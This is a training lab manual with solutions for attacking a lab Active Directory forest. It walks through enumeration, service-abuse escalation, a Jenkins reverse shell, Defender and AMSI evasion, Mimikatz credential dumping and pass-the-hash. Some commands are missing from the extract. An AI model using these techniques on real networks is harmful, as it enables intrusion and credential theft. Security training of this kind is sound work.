LabManualV1.5
LabManualV1.5
LabManualV1.5
Changelog ................................................................................................................................................. 2
Lab Instructions ......................................................................................................................................... 3
Learning Objective 1: ................................................................................................................................ 4
Using PowerView .................................................................................................................................. 4
Using the Active Directory module (ADModule) .................................................................................. 9
Learning Objective 2: .............................................................................................................................. 12
Learning Objective 3: .............................................................................................................................. 15
Learning Objective 4: .............................................................................................................................. 20
Using PowerView ................................................................................................................................ 20
Using Active Directory module ........................................................................................................... 22
Learning Objective 5: .............................................................................................................................. 26
Learning Objective 6: .............................................................................................................................. 33
Learning Objective 7: .............................................................................................................................. 37
Learning Objective 8: .............................................................................................................................. 50
Learning Objective 9: .............................................................................................................................. 54
Learning Objective 10: ............................................................................................................................ 58
Learning Objective 11: ............................................................................................................................ 60
Learning Objective 12: ............................................................................................................................ 63
Learning Objective 13: ............................................................................................................................ 66
Learning Objective 14: ............................................................................................................................ 70
Learning Objective 15: ............................................................................................................................ 75
Learning Objective 16: ............................................................................................................................ 81
Learning Objective 17: ............................................................................................................................ 85
Learning Objective 18: ............................................................................................................................ 93
Learning Objective 19: .......................................................................................................................... 105
Learning Objective 20: .......................................................................................................................... 111
Learning Objective 21: .......................................................................................................................... 115
Learning Objective 22: .......................................................................................................................... 120
Learning Objective 23: .......................................................................................................................... 126
Changelog
v1.5 (May 2021)
Included the use of printer bug in abusing Unconstrained Delegation (Learning Objective 17)
Included examples of Rubeus in multiple learning objectives
Fixed some typos and spelling mistakes.
v1.3
v1.2
Have fun!
Task
● Enumerate following for the dollarcorp domain:
− Users
− Computers
− Domain Administrators
− Enterprise Administrators
− Shares
Solution
We can use PowerView from PowerSploit for enumerating the domain. Please note that all the
enumeration can be done with the Microsoft's ActiveDirectory module as well.
Using PowerView
From a PowerShell session run the following commands:
PS C:\> cd \AD\Tools\
PS C:\AD\Tools> powershell -ep bypass
Windows PowerShell
Copyright (C) 2016 Microsoft Corporation. All rights reserved.
PS C:\AD\Tools> . C:\AD\Tools\PowerView.ps1
PS C:\AD\Tools> Get-NetUser
logoncount : 29906
badpasswordtime : 11/16/2020 8:32:59 AM
description : Built-in account for administering the
computer/domain
distinguishedname :
CN=Administrator,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local
objectclass : {top, person, organizationalPerson, user}
CN=Administrators,CN=Builtin,DC=dollarcorp,DC=moneycorp,DC=local}
whencreated : 2/17/2019 7:00:16 AM
iscriticalsystemobject : True
badpwdcount : 0
cn : Administrator
useraccountcontrol : 66048
usncreated : 8196
primarygroupid : 513
pwdlastset : 2/16/2019 9:14:11 PM
usnchanged : 517082
[snip]
To list a specific property of all the users, we can use the select-object (or its alias select) cmdlet.
For example, to list only the samaccountname run the following command:
PS C:\AD\Tools> Get-NetComputer
dcorp-dc.dollarcorp.moneycorp.local
dcorp-mssql.dollarcorp.moneycorp.local
dcorp-ci.dollarcorp.moneycorp.local
dcorp-mgmt.dollarcorp.moneycorp.local
dcorp-appsrv.dollarcorp.moneycorp.local
dcorp-adminsrv.dollarcorp.moneycorp.local
dcorp-sql1.dollarcorp.moneycorp.local
[snip]
CN=Administrators,CN=Builtin,DC=dollarcorp,DC=moneycorp,DC=local}
adspath : LDAP://CN=Domain
Admins,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local
description : Designated administrators of the domain
distinguishedname : CN=Domain
Admins,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local
name : Domain Admins
member : {CN=svc
admin,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local,
CN=Administrator,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local}
usncreated : 12315
whencreated : 2/17/2019 7:01:46 AM
instancetype : 4
GroupDomain : dollarcorp.moneycorp.local
GroupName : Domain Admins
MemberDomain : dollarcorp.moneycorp.local
MemberName : svcadmin
MemberSID : S-1-5-21-1874506631-3219952063-538504511-1122
IsGroup : False
MemberDN : CN=svc admin,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local
GroupDomain : dollarcorp.moneycorp.local
GroupName : Domain Admins
MemberDomain : dollarcorp.moneycorp.local
MemberName : Administrator
MemberSID : S-1-5-21-1874506631-3219952063-538504511-500
IsGroup : False
MemberDN : CN=Administrator,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local
Since, this is not a root domain, the above command will return nothing. We need to query the root
domain as Enterprise Admins group is present only in the root of a forest.
GroupDomain : moneycorp.local
GroupName : Enterprise Admins
MemberDomain : moneycorp.local
MemberName : Administrator
MemberSID : S-1-5-21-280534878-1496970234-700767426-500
IsGroup : False
MemberDN : CN=Administrator,CN=Users,DC=moneycorp,DC=local
Enumerate all the users in the current domain using the ADModule:
DistinguishedName :
CN=Administrator,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local
Enabled : True
GivenName :
Name : Administrator
ObjectClass : user
ObjectGUID : e88d11d3-3e60-4a68-b46a-94ff32b7c8cf
SamAccountName : Administrator
SID : S-1-5-21-1874506631-3219952063-538504511-500
Surname :
UserPrincipalName :
DistinguishedName : CN=Guest,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local
Enabled : False
GivenName :
Name : Guest
ObjectClass : user
ObjectGUID : 1ac1cc56-9c7d-4450-a648-512a92f68cb1
SamAccountName : Guest
SID : S-1-5-21-1874506631-3219952063-538504511-501
Surname :
UserPrincipalName :
[snip]
Samaccountname Description
-------------- -----------
Administrator Built-in account for administering the computer/domain
Guest Built-in account for guest access to the computer/domain
DefaultAccount A user account managed by the system.
krbtgt Key Distribution Center Service Account
DistinguishedName : CN=DCORP-DC,OU=Domain
Controllers,DC=dollarcorp,DC=moneycorp,DC=local
DNSHostName : dcorp-dc.dollarcorp.moneycorp.local
Enabled : True
Name : DCORP-DC
ObjectClass : computer
ObjectGUID : 0f3c44b5-5aed-45ed-975f-513dde769bb7
SamAccountName : DCORP-DC$
SID : S-1-5-21-1874506631-3219952063-538504511-1000
UserPrincipalName :
DistinguishedName : CN=DCORP-
MGMT,OU=Servers,DC=dollarcorp,DC=moneycorp,DC=local
DNSHostName : dcorp-mgmt.dollarcorp.moneycorp.local
Enabled : True
Name : DCORP-MGMT
ObjectClass : computer
ObjectGUID : 49c3f76f-5d34-4d8b-93af-666630e7c8ea
SamAccountName : DCORP-MGMT$
SID : S-1-5-21-1874506631-3219952063-538504511-1108
UserPrincipalName :
[snip]
distinguishedName : CN=Administrator,CN=Users,DC=moneycorp,DC=local
name : Administrator
objectClass : user
objectGUID : 096d926c-7077-4e7f-b135-9502746df9e9
SamAccountName : Administrator
SID : S-1-5-21-280534878-1496970234-700767426-500
Task
● Enumerate following for the dollarcorp domain:
− List all the OUs
− List all the computers in the StudentMachines OU.
− List the GPOs
− Enumerate GPO applied on the StudentMachines OU.
Solution
We can continue using PowerView for enumeration. To list all the OUs, run the below command after
bypassing AMSI and loading PowerView:
PS C:\AD\Tools> Get-NetOU
LDAP://OU=Domain Controllers,DC=dollarcorp,DC=moneycorp,DC=local
LDAP://OU=StudentMachines,DC=dollarcorp,DC=moneycorp,DC=local
LDAP://OU=Applocked,DC=dollarcorp,DC=moneycorp,DC=local
LDAP://OU=Servers,DC=dollarcorp,DC=moneycorp,DC=local
For the next task, use the below command to list the GPOs. Note the name (not displayname) of group
policies may be different in your lab instance:
PS C:\AD\Tools> Get-NetGPO
usncreated : 8016
systemflags : -1946157056
displayname : Default Domain Policy
[snip]
usncreated : 65831
For the next task, to enumerate GPO applied on the StudentMachines OU, we need to copy a part of the
gplink attribute from the output of the below command:
Now, copy the highlighted string from above (no square brackets, no semicolon and nothing after
semicolon) and use the it below:
usncreated : 65831
displayname : Students
gpcmachineextensionnames : [{35378EAC-683F-11D2-A89A-00C04FBBCFA2}{D02B1F72-
3407-48AE-BA88-E8213C6761F1}][{827D319E-6EAC-11D2-A4EA-
00C04F79F83A}{803E14A0-B4FB-11D0-A0D0-00A
0C90F574B}]
It is possible to hack both the commands together in a single command (profiting from the static length
for GUIDs):
usncreated : 65831
displayname : Students
gpcmachineextensionnames : [{35378EAC-683F-11D2-A89A-00C04FBBCFA2}{D02B1F72-
3407-48AE-BA88-E8213C6761F1}][{827D319E-6EAC-11D2-A4EA-
00C04F79F83A}{803E14A0-B4FB-11D0-A0D0-00A
0C90F574B}]
[snip]
Task
● Enumerate following for the dollarcorp domain:
− ACL for the Users group
− ACL for the Domain Admins group
− All modify rights/permissions for the studentx
Solution
To enumerate ACLs, we can use Get-ObjectACL from PowerView like below:
InheritedObjectType : All
ObjectDN :
CN=Users,CN=Builtin,DC=dollarcorp,DC=moneycorp,DC=local
ObjectType : All
IdentityReference : NT AUTHORITY\SELF
IsInherited : False
ActiveDirectoryRights : GenericRead
PropagationFlags : None
ObjectFlags : None
InheritanceFlags : None
InheritanceType : None
AccessControlType : Allow
ObjectSID : S-1-5-32-545
InheritedObjectType : All
ObjectDN :
CN=Users,CN=Builtin,DC=dollarcorp,DC=moneycorp,DC=local
ObjectType : All
IdentityReference : NT AUTHORITY\Authenticated Users
IsInherited : False
ActiveDirectoryRights : GenericRead
PropagationFlags : None
ObjectFlags : None
InheritanceFlags : None
InheritanceType : None
AccessControlType : Allow
InheritedObjectType : All
ObjectDN :
CN=Users,CN=Builtin,DC=dollarcorp,DC=moneycorp,DC=local
ObjectType : All
IdentityReference : NT AUTHORITY\SYSTEM
IsInherited : False
ActiveDirectoryRights : GenericAll
PropagationFlags : None
ObjectFlags : None
InheritanceFlags : None
InheritanceType : None
AccessControlType : Allow
ObjectSID : S-1-5-32-545
InheritedObjectType : All
ObjectDN :
CN=Users,CN=Builtin,DC=dollarcorp,DC=moneycorp,DC=local
ObjectType : All
IdentityReference : S-1-5-32-548
IsInherited : False
ActiveDirectoryRights : GenericAll
PropagationFlags : None
ObjectFlags : None
InheritanceFlags : None
InheritanceType : None
AccessControlType : Allow
ObjectSID : S-1-5-32-545
InheritedObjectType : All
ObjectDN :
CN=Users,CN=Builtin,DC=dollarcorp,DC=moneycorp,DC=local
ObjectType : All
IdentityReference : dcorp\Domain Admins
IsInherited : False
ActiveDirectoryRights : GenericAll
PropagationFlags : None
ObjectFlags : None
InheritanceFlags : None
InheritanceType : None
AccessControlType : Allow
ObjectSID : S-1-5-32-545
[snip]
InheritedObjectType : All
ObjectDN : CN=Domain
Admins,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local
ObjectType : All
IdentityReference : NT AUTHORITY\Authenticated Users
IsInherited : False
ActiveDirectoryRights : GenericRead
PropagationFlags : None
ObjectFlags : None
InheritanceFlags : None
InheritanceType : None
AccessControlType : Allow
ObjectSID : S-1-5-21-1874506631-3219952063-538504511-512
InheritedObjectType : All
ObjectDN : CN=Domain
Admins,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local
ObjectType : All
IdentityReference : NT AUTHORITY\SYSTEM
IsInherited : False
ActiveDirectoryRights : GenericAll
PropagationFlags : None
ObjectFlags : None
InheritanceFlags : None
InheritanceType : None
AccessControlType : Allow
ObjectSID : S-1-5-21-1874506631-3219952063-538504511-512
InheritedObjectType : All
ObjectDN : CN=Domain
Admins,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local
ObjectType : All
IdentityReference : BUILTIN\Administrators
IsInherited : False
ActiveDirectoryRights : CreateChild, DeleteChild, Self, WriteProperty,
ExtendedRight, Delete, GenericRead, WriteDacl, WriteOwner
PropagationFlags : None
InheritedObjectType : All
ObjectDN : CN=Domain
Admins,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local
ObjectType : All
IdentityReference : S-1-5-32-554
IsInherited : False
ActiveDirectoryRights : GenericRead
PropagationFlags : None
ObjectFlags : None
InheritanceFlags : None
InheritanceType : None
AccessControlType : Allow
ObjectSID : S-1-5-21-1874506631-3219952063-538504511-512
[snip]
Finally, to check for modify rights/permissions for the studentx, we can use Invoke-ACLScanner from
PowerView:
Nothing interesting. Since studentx is a member of the RDPUsers group, let us check permissions for it
too. Note that the output in your lab for the below command will be different and will depend on your
lab instance:
InheritedObjectType : All
ObjectDN :
CN=Control1User,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local
ObjectType : All
IdentityReference : dcorp\RDPUsers
IsInherited : False
ActiveDirectoryRights : GenericAll
PropagationFlags : None
ObjectFlags : None
InheritanceFlags : None
InheritanceType : None
AccessControlType : Allow
ObjectSID : S-1-5-21-1874506631-3219952063-538504511-1151
IdentitySID : S-1-5-21-1874506631-3219952063-538504511-1116
InheritedObjectType : All
ObjectDN :
CN=Control3User,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local
ObjectType : All
IdentityReference : dcorp\RDPUsers
IsInherited : False
ActiveDirectoryRights : GenericAll
PropagationFlags : None
ObjectFlags : None
InheritanceFlags : None
InheritanceType : None
AccessControlType : Allow
ObjectSID : S-1-5-21-1874506631-3219952063-538504511-1153
IdentitySID : S-1-5-21-1874506631-3219952063-538504511-1116
[snip]
Task
● Enumerate all domains in the moneycorp.local forest.
● Map the trusts of the dollarcorp.moneycorp.local domain.
● Map External trusts in moneycorp.local forest.
● Identify external trusts of dollarcorp domain. Can you enumerate trusts for a trusting forest?
Solution
We can use both PowerView and the Active Directory module to solve the tasks.
Using PowerView
Let’s enumerate all domains in the current forest:
Forest : moneycorp.local
DomainControllers : {dcorp-dc.dollarcorp.moneycorp.local}
Children : {us.dollarcorp.moneycorp.local}
DomainMode : Unknown
DomainModeLevel : 7
Parent : moneycorp.local
PdcRoleOwner : dcorp-dc.dollarcorp.moneycorp.local
RidRoleOwner : dcorp-dc.dollarcorp.moneycorp.local
InfrastructureRoleOwner : dcorp-dc.dollarcorp.moneycorp.local
Name : dollarcorp.moneycorp.local
Forest : moneycorp.local
DomainControllers : {mcorp-dc.moneycorp.local}
Children : {dollarcorp.moneycorp.local}
DomainMode : Unknown
DomainModeLevel : 7
Parent :
PdcRoleOwner : mcorp-dc.moneycorp.local
RidRoleOwner : mcorp-dc.moneycorp.local
InfrastructureRoleOwner : mcorp-dc.moneycorp.local
Name : moneycorp.local
Forest : moneycorp.local
DomainControllers : {dcorp-dc.us.dollarcorp.moneycorp.local}
Children : {}
DomainMode : Unknown
DomainModeLevel : 7
Parent : dollarcorp.moneycorp.local
PdcRoleOwner : dcorp-dc.us.dollarcorp.moneycorp.local
RidRoleOwner : dcorp-dc.us.dollarcorp.moneycorp.local
PS C:\AD\Tools> Get-NetDomainTrust
To identify external trusts of the dollarcorp domain, we can use the below command:
Since the above is a Bi-Directional trust, we can extract information from the eurocorp.local forest. We
either need bi-directional trust or one-way trust from eurocorp.local to dollarcorp to be able to use the
below command. Let's go for the last task and enumerate trusts for eurocorp.local forest:
Use the below command to enumerate all the domains in the current forest:
PS C:\AD\Tools> (Get-ADForest).Domains
dollarcorp.moneycorp.local
moneycorp.local
us.dollarcorp.moneycorp.local
To map all the trusts in the current domain, we can use the below command:
Direction : BiDirectional
DisallowTransivity : False
DistinguishedName :
CN=moneycorp.local,CN=System,DC=dollarcorp,DC=moneycorp,DC=local
ForestTransitive : False
IntraForest : True
IsTreeParent : False
IsTreeRoot : False
Name : moneycorp.local
ObjectClass : trustedDomain
ObjectGUID : d80a7376-4761-48ca-bac3-aa1271faac42
SelectiveAuthentication : False
SIDFilteringForestAware : False
SIDFilteringQuarantined : False
Source : DC=dollarcorp,DC=moneycorp,DC=local
Target : moneycorp.local
TGTDelegation : False
TrustAttributes : 32
TrustedPolicy :
TrustingPolicy :
TrustType : Uplevel
UplevelOnly : False
UsesAESKeys : False
UsesRC4Encryption : False
[snip]
Direction : BiDirectional
DisallowTransivity : False
DistinguishedName :
CN=moneycorp.local,CN=System,DC=dollarcorp,DC=moneycorp,DC=local
ForestTransitive : False
IntraForest : True
IsTreeParent : False
IsTreeRoot : False
Name : moneycorp.local
ObjectClass : trustedDomain
ObjectGUID : d80a7376-4761-48ca-bac3-aa1271faac42
SelectiveAuthentication : False
SIDFilteringForestAware : False
SIDFilteringQuarantined : False
Source : DC=dollarcorp,DC=moneycorp,DC=local
Target : moneycorp.local
TGTDelegation : False
TrustAttributes : 32
TrustedPolicy :
TrustingPolicy :
TrustType : Uplevel
UplevelOnly : False
UsesAESKeys : False
UsesRC4Encryption : False
[snip]
Direction : BiDirectional
DisallowTransivity : False
DistinguishedName :
CN=eurocorp.local,CN=System,DC=dollarcorp,DC=moneycorp,DC=local
ForestTransitive : False
IntraForest : False
IsTreeParent : False
IsTreeRoot : False
Name : eurocorp.local
ObjectClass : trustedDomain
ObjectGUID : 4a5d4234-8642-4ad5-a7b6-bd6055fd414d
Finally, to identify external trusts of the dollarcorp domain, we can use the below command. The output
is same as above because there is just one external trust in the entire forest. Otherwise, output of the
aboce command would be different than the below one:
Direction : BiDirectional
DisallowTransivity : False
DistinguishedName :
CN=eurocorp.local,CN=System,DC=dollarcorp,DC=moneycorp,DC=local
ForestTransitive : False
IntraForest : False
IsTreeParent : False
IsTreeRoot : False
Name : eurocorp.local
ObjectClass : trustedDomain
ObjectGUID : 4a5d4234-8642-4ad5-a7b6-bd6055fd414d
SelectiveAuthentication : False
SIDFilteringForestAware : False
SIDFilteringQuarantined : True
Source : DC=dollarcorp,DC=moneycorp,DC=local
Target : eurocorp.local
TGTDelegation : False
TrustAttributes : 4
TrustedPolicy :
TrustingPolicy :
TrustType : Uplevel
UplevelOnly : False
UsesAESKeys : False
UsesRC4Encryption : False
Direction : BiDirectional
DisallowTransivity : False
DistinguishedName : CN=eu.eurocorp.local,CN=System,DC=eurocorp,DC=local
ForestTransitive : False
IntraForest : True
IsTreeParent : False
IsTreeRoot : False
Name : eu.eurocorp.local
ObjectClass : trustedDomain
ObjectGUID : e264f425-b34d-4ed3-9a11-dcfb2c91235a
SelectiveAuthentication : False
SIDFilteringForestAware : False
SIDFilteringQuarantined : False
Source : DC=eurocorp,DC=local
Target : eu.eurocorp.local
TGTDelegation : False
TrustAttributes : 32
TrustedPolicy :
TrustingPolicy :
TrustType : Uplevel
UplevelOnly : False
UsesAESKeys : False
UsesRC4Encryption : False
[snip]
Task
● Exploit a service on dcorp-studentx and elevate privileges to local administrator.
● Identify a machine in the domain where studentx has local administrative access.
● Using privileges of a user on Jenkins on 172.16.3.11:8080, get admin privileges on 172.16.3.11 -
the dcorp-ci server.
Solution
First, let’s enumerate all the services with Unquoted Path. We can use the Powerup from PowerSploit
module to list such services.
PS C:\AD\Tools> . .\PowerUp.ps1
PS C:\AD\Tools> Get-ServiceUnquoted
ServiceName : AbyssWebServer
Path : C:\WebServer\Abyss Web Server\abyssws.exe --service
ModifiablePath : @{Permissions=System.Object[]; ModifiablePath=C:\WebServer;
IdentityReference=NT AUTHORITY\Authenticated Users}
StartName : LocalSystem
AbuseFunction : Write-ServiceBinary -Name 'AbyssWebServer' -Path
<HijackPath>
CanRestart : True
ServiceName : AbyssWebServer
Path : C:\WebServer\Abyss Web Server\abyssws.exe --service
ModifiablePath : @{Permissions=System.Object[]; ModifiablePath=C:\WebServer;
IdentityReference=NT AUTHORITY\Authenticated Users}
StartName : LocalSystem
AbuseFunction : Write-ServiceBinary -Name 'AbyssWebServer' -Path
<HijackPath>
CanRestart : True
Nice, let’s also enumerate services where the current can make changes to service binary:
ServiceName : AbyssWebServer
Path : C:\WebServer\Abyss Web
Server\Abyss\abyssws.exe --service
ModifiableFile : C:\WebServer\Abyss Web Server\Abyss
PS C:\AD\Tools> Get-ModifiableService
ServiceName : AbyssWebServer
Path : C:\WebServer\Abyss Web Server\abyssws.exe --service
StartName : LocalSystem
AbuseFunction : Invoke-ServiceAbuse -Name 'AbyssWebServer'
CanRestart : True
Let’s use the abuse function for Get-ModifiableService and add our current domain user to the local
Administrators group.
------------- -------
We can see that the dcorp\studentx is a local administrator now. Just logoff and logon again and we
have local administrator privileges!
Now, to identify a machine in the domain where studentx has local administrative access:
[snip]
dcorp-adminsrv.dollarcorp.moneycorp.local
PS C:\AD\Tools> . .\Find-PSRemotingLocalAdminAccess.ps1
PS C:\AD\Tools> Find-PSRemotingLocalAdminAccess
dcorp-adminsrv
[snip]
So, studentx has administrative access on dcorp-adminsrv and some student machines. We are going to
ignore student machines. We can confirm the administrative access by running a PowerShell Remoting
session on the machine:
PS C:\AD\Tools> [dcorp-
adminsrv.dollarcorp.moneycorp.local]C:\Users\studentx\Documents> whoami
dcorp\studentx
To be able to execute commands on Jenkins server without admin access we must have privileges to
configure builds. We have a Jenkins instance on dcorp-ci (http://172.16.3.11:8080) If we go the “People”
page of Jenkins we can see the users present on the Jenkins instance.
Since Jenkins does not have a password policy many users use username as passwords even on the
publicly available instances (http://www.labofapenetrationtester.com/2015/11/week-of-continuous-
intrusion-day-1.html). By manually trying the usernames as passwords we can identify that the user
Use the encodedcomand parameter of PowerShell to use an encoded reverse shell (or use download
execute cradle) in Jenkins build step. You can use any reverse shell, below we are using a slightly
modified version of Invoke-PowerShellTcp from Nishang. We renamed the function Invoke-
PowerShellTcp to Power in the script to bypass Windows Defender.
If using Invoke-PowerShellTcp, make sure to include the function call in the script Power -Reverse -
IPAddress 172.16.100.X -Port 443 or append it at the end of the command in Jenkins. Please
note that you may always like to rename the function name to something else to avoid detection.
or
On the student VM, run a Powercat listener which listens on the port which we used above (443):
On Jenkins web console, launch the Build and on the powercat listener, you will see:
We can now run commands on the reverse shell that connected to powercat:
Windows IP Configuration
Task
● Setup BloodHound and identify a machine where studentx has local administrative access.
Solution
Note: Exit BloodHound once you have stopped using it as it uses good amount of RAM. You may also
like to stop the neo4j service if you are not using BloodHound.
C:\AD\Tools\neo4j-community-4.1.1-windows\neo4j-community-4.1.1\bin>neo4j.bat
start
Enter the username: neo4j and password: neo4j. You need to enter a new password. Let's use
BloodHound as the new password.
bolt://localhost:7687
Username: neo4j
Password: BloodHound
Run the following PowerShell commands to tun BloodHound ingestores to gather data and information
about the current domain:
PS C:\Users\studentx> cd C:\AD\tools\BloodHound-master\BloodHound-
master\Ingestors\
PS C:\AD\tools\BloodHound-master\BloodHound-master\Ingestors> .
.\SharpHound.ps1
PS C:\AD\tools\BloodHound-master\BloodHound-master\Ingestors> Invoke-
BloodHound -CollectionMethod All -Verbose
-----------------------------------------------
Initializing SharpHound at 1:14 AM on 8/30/2020
-----------------------------------------------
Run Invoke-BloodHound once again to gather more information about established sessions:
PS C:\AD\Tools\BloodHound-master\Ingestors> Invoke-BloodHound -
CollectionMethod LoggedOn -Verbose
-----------------------------------------------
Initializing SharpHound at 1:19 AM on 8/30/2020
-----------------------------------------------
Once all the data is uploaded to BloodHound, search for the node studentx and see where it has
Derivative Local Admin Rights (press Ctrl to toggle labels).
Task
● Domain user on one of the machines has access to a server where a domain admin is logged in.
Identify:
− The domain user
− The server where the domain admin is logged in.
● Escalate privileges to Domain Admin
− Using the method above.
− Using derivative local admin.
Solution
We have access to two domain users – studentx and ciadmin and administrative access to dcorp-
adminsrv machine. User hunting has not been fruitful as studentx. We got access to ciadmin by abusing
Jenkins. Let’s get a reverse shell on dcorp-studentx:
Now, we can use Powerview’s Invoke-UserHunter on the reverse shell to looks for machines where a
domain admin is logged in. But first, we must bypass AMSI:
Now, download and execute PowerView in memory of the reverse shell. Note that, Invoke-UserHunter
may take few minutes to check all the machines in the domain:
UserDomain : dcorp
UserName : svcadmin
ComputerName : dcorp-mgmt.dollarcorp.moneycorp.local
IPAddress : 172.16.4.44
SessionFrom :
SessionFromName :
LocalAdmin :
Great! A domain admin is logged in on dcorp-mgmt server. Now, let’s check if we (as ciadmin) have local
admin access to dcorp-appsrv which will make it easier for us to attempt escalation to domain admin.
UserDomain : dcorp
UserName : svcadmin
ComputerName : dcorp-mgmt.dollarcorp.moneycorp.local
IPAddress : 172.16.4.44
SessionFrom :
SessionFromName :
LocalAdmin : True
Let’s confirm if we actually have local admin access on dcorp-mgmt server and if the PowerShell
remoting port is open:
Now, let’s use Invoke-Mimikatz to dump hashes on dcorp-mgmt to grab hashes of the domain admin
“svcadmin”. Host Invoke-Mimikatz.ps1 on your studentx machine and run the below command on the
reverse shell:
Now, to use Invoke-Mimikatz on dcorp-mgmt, we must disable AMSI there. Please note that we can use
the AMSI bypass we have been using or the built-in Set-MpPrefernce as well because we have
administrative access on dcorp-mgmt:
mimikatz(powershell) # sekurlsa::logonpasswords
Since we have the NTLM hash of a domain admin, let’s use Invoke-Mimikatz from an elevated shell to
create a token from it and run powershell.exe with that token on our 100.X machine:
PS C:\WINDOWS\system32> Set-MpPreference -DisableRealtimeMonitoring $true
PS C:\WINDOWS\system32> powershell -ep bypass
Windows PowerShell
PS C:\WINDOWS\system32> cd C:\AD\Tools\
PS C:\AD\Tools> . .\Invoke-Mimikatz.ps1
PS C:\AD\Tools> Invoke-Mimikatz -Command '"sekurlsa::pth /user:svcadmin
/domain:dollarcorp.moneycorp.local /ntlm:b38ff50264b74508085d82c69794a4d8
/run:powershell.exe"'
The new PowerShell window, which opens up, has Domain Admin privileges! Note that we did not need
to have direct access to dcorp-mgmt from student machine 100.X.
Now moving on to the next task, we need to escalate to domain admin using derivative local admin.
Llet’s find out the machines on which we have local admin privileges. On a PowerShell prompt, enter the
following command.
or use Find-PSRemotingLocalAdminAccess
PS C:\AD\Tools> . .\Find-PSRemotingLocalAdminAccess.ps1
PS C:\AD\Tools> Find-PSRemotingLocalAdminAccess
dcorp-adminsrv
We have local admin on the dcorp-adminsrv box, let’s PSRemote to the dcorp-adminsrv box.
You will notice that any attempt to run Invoke-Mimikatz on dcorp-adminsrv results in errors about
language mode. This is because Applocker is configured on dcorp-adminsrv and we drop into a
Constrained Language Mode (CLM) when we connect using PowerShell Remoting.
[dcorp-adminsrv.dollarcorp.moneycorp.local]: PS
C:\Users\studentadmin\Documents> $ExecutionContext.SessionState.LanguageMode
ConstrainedLanguage
[dcorp-adminsrv.dollarcorp.moneycorp.local]: PS C:\Users\studentx\Documents>
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
[snip]
PathConditions : {%PROGRAMFILES%\*}
PathExceptions : {}
PublisherExceptions : {}
HashExceptions : {}
Id : 06dce67b-934c-454f-a263-2515c8796a5d
Name : (Default Rule) All scripts located in the Program Files
folder
Description : Allows members of the Everyone group to run scripts
that are located in the Program Files folder.
UserOrGroupSid : S-1-1-0
Action : Allow
PathConditions : {%WINDIR%\*}
PathExceptions : {}
PublisherExceptions : {}
HashExceptions : {}
Id : 9428c672-5fc3-47f4-808a-a0011f36dd2c
Name : (Default Rule) All scripts located in the Windows
folder
Description : Allows members of the Everyone group to run scripts
that are located in the Windows folder.
UserOrGroupSid : S-1-1-0
Action : Allow
Here, it is clear that Everyone can run scripts from the Program Files directory. That means, we can drop
scripts in the Program Files directory there and execute them. But, we first need to disable Windows
Defender on the dcorp-adminsrv server:
[dcorp-adminsrv.dollarcorp.moneycorp.local]: PS C:\Users\svcadmin\Documents>
Set-MpPreference -DisableRealtimeMonitoring $true -Verbose
VERBOSE: Performing operation 'Update MSFT_MpPreference' on Target
'ProtectionManagement'.
Also, we cannot run scripts using dot sourcing (. .\Invoke-Mimikatz.ps1) because of the Constrained
Language Mode. So, we must modify Invoke-Mimikatz.ps1 to include the function call in the script itself
and transfer the modified script (Invoke-MimikatzEx.ps1) to the target server.
Now run the modified mimikatz script. Note that there is no dot sourcing here:
[snip]
From local system with elevated shell (Run as Administrator), over-pass the hash for srvadmin user using
Invoke-Mimikatz.
A new window prompts with srvadmin privileges. Let’s use powerview to check if srvadmin has local
administrator privileges on any other machine in the domain where a domain admin session is available.
PS C:\AD\Tools> . .\PowerView.ps1
PS C:\AD\Tools> Invoke-UserHunter -CheckAccess
UserDomain : dcorp
UserName : svcadmin
ComputerName : dcorp-mgmt.dollarcorp.moneycorp.local
IPAddress : 172.16.4.44
SessionFrom :
SessionFromName :
LocalAdmin : True
[snip]
We have local admin access on the dcorp-mgmt server as srvadmin and a session of svcadmin is
established on that machine. Take a session through PS remoting.
We will be dumping the hashes of dcorp-mgmt server using mimikatz but first let’s disable AMSI on the
target server.
mimikatz(powershell) # sekurlsa::logonpasswords
[snip]
We can also use the sekurlsa::ekeys command of mimikatz to get AES keys:
[dcorp-mgmt.dollarcorp.moneycorp.local]: PS C:\Users> Invoke-Mimikatz -
Command '"sekurlsa::ekeys"'
[snip]
Authentication Id : 0 ; 65483 (00000000:0000ffcb)
Session : Service from 0
User Name : svcadmin
Domain : dcorp
Logon Server : DCORP-DC
Logon Time : 1/11/2019 12:49:01 PM
SID : S-1-5-21-1874506631-3219952063-538504511-1122
*
Username : svcadmin
*
Domain : DOLLARCORP.MONEYCORP.LOCAL
*
Password : (null)
*
Key List :
aes256_hmac
6366243a657a4ea04e406f1abc27f1ada358ccd0138ec5ca2835067719dc7011
rc4_hmac_nt b38ff50264b74508085d82c69794a4d8
rc4_hmac_old b38ff50264b74508085d82c69794a4d8
rc4_md4 b38ff50264b74508085d82c69794a4d8
rc4_hmac_nt_exp b38ff50264b74508085d82c69794a4d8
rc4_hmac_old_exp b38ff50264b74508085d82c69794a4d8
[snip]
We can also look for credentials from the credentials vault. Interesting crednetials like those used for
scheduled tasks are stored in the credential vault. Use the below command:
[dcorp-mgmt]: PS C:\Users\mgmtadmin\Documents> Invoke-Mimikatz -Command
'"token::elevate" "vault::cred /patch"'
mimikatz(powershell) # token::elevate
Token Id : 0
User name :
SID name : NT AUTHORITY\SYSTEM
From the local system over-pass the hash of svcadmin user through mimikatz.
PS C:\AD\Tools> Invoke-Mimikatz -Command '"sekurlsa::pth /user:svcadmin
/domain:dollarcorp.moneycorp.local /ntlm:b38ff50264b74508085d82c69794a4d8
/run:powershell.exe"'
[snip]
The new PowerShell session which pops-up runs with domain admin privileges.
Task
● Dump hashes on the domain controller of dollarcorp.moneycorp.local.
● Using the NTLM hash of krbtgt account, create a Golden ticket.
● Use the Golden ticket to (once again) get domain admin privileges from a machine.
Solution
